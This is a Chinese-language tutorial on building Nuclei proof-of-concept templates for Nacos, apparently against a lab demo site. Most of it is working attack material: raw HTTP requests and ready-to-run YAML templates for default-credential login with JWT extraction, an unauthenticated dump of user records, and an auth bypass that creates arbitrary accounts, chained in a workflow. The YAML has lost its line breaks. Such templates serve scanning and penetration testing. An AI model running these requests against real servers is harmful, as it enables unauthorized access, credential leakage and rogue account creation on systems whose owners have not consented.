Nuclei Poc开发

1、Poc开发工具介绍

Nuclei：https://nuclei.projectdiscovery.io/
Cloud Platfrom云平台：https://cloud.projectdiscovery.io/

2、目标站点简介

目标演示站点：http://glkb-jqe1.aqlab.cn/nacos/#/login
指纹：Nacos
已知常用漏洞利用：Nacos弱口令账密：nacos/nacos
Nacos 敏感信息泄露 /nacos/v1/auth/users?pageNo=1&pageSize=9
Nacos 任意用户创建：/nacos/v1/auth/users?accessToken=

3、自定义Poc

Nacos通用弱口令：
报文：

POST /nacos/v1/auth/users/login HTTP/1.1
Host: glkb-jqe1.aqlab.cn
Content-Length: 42
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://glkb-jqe1.aqlab.cn
Referer: http://glkb-jqe1.aqlab.cn/nacos/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeusername=nacos&password=nacos

返回JWT

匹配规则：https://docs.projectdiscovery.io/templates/reference/matchers

提取规则：https://docs.projectdiscovery.io/templates/reference/extractors

根据响应body，提取jwt全段值或部分值均可
RE：(eyJ[A-Za-z0-9-]{10,}.[A-Za-z0-9.-]{10,}|eyJ[A-Za-z0-9\/+-]{10,}.[A-Za-z0-9.\/+-]{10,})
效果demo：

Nacos Information敏感信息泄露

GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken= HTTP/1.1
Host: glkb-jqe1.aqlab.cn
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

demo

id: Nacos-InformationForUserinfo:name: Nacos-InformationForUserauthor: xxxseverity: infodescription: descriptionreference:- https://tags: nacosrequests:- raw:- |+GET /nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken= HTTP/1.1Host: {{Hostname}}Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36matchers-condition: andmatchers:- type: dsldsl:- contains_any(body,"username","password")  && status_code==200

Nacos AuthUserBypass

POST /nacos/v1/auth/users?accessToken= HTTP/1.1
Host: glkb-jqe1.aqlab.cn
Content-Length: 25
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeusername=222&password=222

demo

id: Nacos-NotAuth-AnyUserCreateinfo:name: Nacos-NotAuth-AnyUserCreateauthor: xxxseverity: infodescription: descriptionreference:- https://
variables:username: "{{to_lower(rand_base(6))}}"tags: nacosrequests:- raw:- |-POST /nacos/v1/auth/users?accessToken= HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 32username={{username}}&password={{username}}matchers-condition: andmatchers:- type: dsldsl:- contains_any(body,"ok")  && status_code==200

Workflow工作流

id: Nacos-Workflowerinfo:name: Nacos-Workflowerauthor: xxxseverity: infodescription: Description of the Template
workflows:- template: path\Nacos-NotAuth-AnyUserCreate.yaml- template: path\Nacos-InformationForUser.yaml- tags: nacos

DEMO